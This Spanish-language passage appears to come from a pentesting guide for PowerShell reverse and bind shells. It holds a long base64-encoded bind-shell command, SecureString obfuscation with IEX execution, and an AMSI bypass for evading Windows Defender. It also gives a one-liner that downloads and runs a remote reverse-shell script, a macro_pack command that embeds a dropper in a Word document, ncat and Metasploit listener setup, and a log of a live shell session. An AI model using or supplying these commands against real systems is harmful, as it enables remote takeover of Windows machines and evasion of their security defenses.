AJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBDAGwAaQBlAG4AdAAgAGgAYQBzACAAYwBvAG4AbgBlAGMAdABlAGQAIQBgAG4AIgA7ACAAJABiAHkAIAA9ACAAMAA7ACAAZABvACAAewAgACQAdwAuAFcAcgBpAHQAZQAoACIAUABTAD4AIgApADsAIABkAG8AIAB7ACAAJABiAHkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgACsAPQAgACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAJABkACAAPQAgACQAZAAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAdAByAHkAIAB7ACAAJAByACAAPQAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHIAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4AIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAGkAZgAgACgAJAByAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAHIAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAH0AIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAbAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAGwALgBTAGUAcgB2AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABsADsAIAB9ACAAaQBmACAAKAAkAHcAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAB3ADsAIAB9ACAAaQBmACAAKAAkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABzADsAIAB9ACAAaQBmACAAKAAkAGMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYwAuAEMAbABvAHMAZQAoACkAOwAgACQAYwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABjADsAIAB9ACAAaQBmACAAKAAkAGIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGIAOwAgAH0AIABpAGYAIAAoACQAcgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAGkAZgAgACgAJABkACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==
```
El script codificado solicitará entrada. Vea el script ligeramente alterado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_bind_tcp_prompt.ps1) - se utilizó el script [minificado](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_bind_tcp_prompt_mini.ps1) para reducir la longitud del comando.

### SecureString

Para generar un SecureString de PowerShell a partir de un script de PowerShell, ejecute el siguiente comando de PowerShell (la cadena puede volverse muy larga):```pwsh
ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)
```
Para decodificar y ejecutar un PowerShell SecureString, ejecute el siguiente comando de PowerShell:```pwsh
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)
```
La mayoría de los productos de seguridad marcarán un script de PowerShell como malicioso si el script utiliza el símbolo `&` en exceso.

Consulte el script de reverse shell [ofuscado manualmente](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) y transformado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_reverse_tcp_secure_string.ps1).

Consulte el script de bind shell [ofuscado manualmente](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_bind_tcp_manual.ps1) y transformado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_bind_tcp_secure_string.ps1).

## Bypass de AMSI

Si Windows Defender está bloqueando su script de PowerShell o la ejecución de comandos codificados, genere un código de bypass de AMSI desde [AMSI.fail](https://amsi.fail) y ejecútelo en su sesión de PowerShell. ¡Créditos al autor!

Después de ejecutar el código de bypass de AMSI, puede descargar el contenido de su script de PowerShell desde la web usando esta línea única:```pwsh
IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());
```
Obtén más información sobre la evasión de AMSI en [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). ¡Créditos al autor!

## Integración con MS Word

Para incrustar un script de PowerShell en un documento de MS Word, consulta la herramienta [macro_pack](https://github.com/sevagas/macro_pack). ¡Créditos al autor!

Ejecuta el siguiente comando desde PowerShell o el Símbolo del sistema:```fundamental
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
```
## Configurar un Listener

Para configurar un listener, abre tu consola preferida en Kali Linux y ejecuta uno de los ejemplos a continuación.

Configurar el listener `ncat`:```fundamental
ncat -nvlp 9000
```
Configurar el listener `multi/handler`:```fundamental
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit
```
## Tiempo de ejecución```fundamental
┌──(root💀kali)-[~]
└─# ncat -nvlp 9000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.1.109.
Ncat: Connection from 192.168.1.109:50418.
PS>Get-Host


Name             : ConsoleHost
Version          : 5.1.19041.2673
InstanceId       : 3d17d7be-e720-4f39-93a2-cf509887f57a
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : hr-HR
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace



PS>
```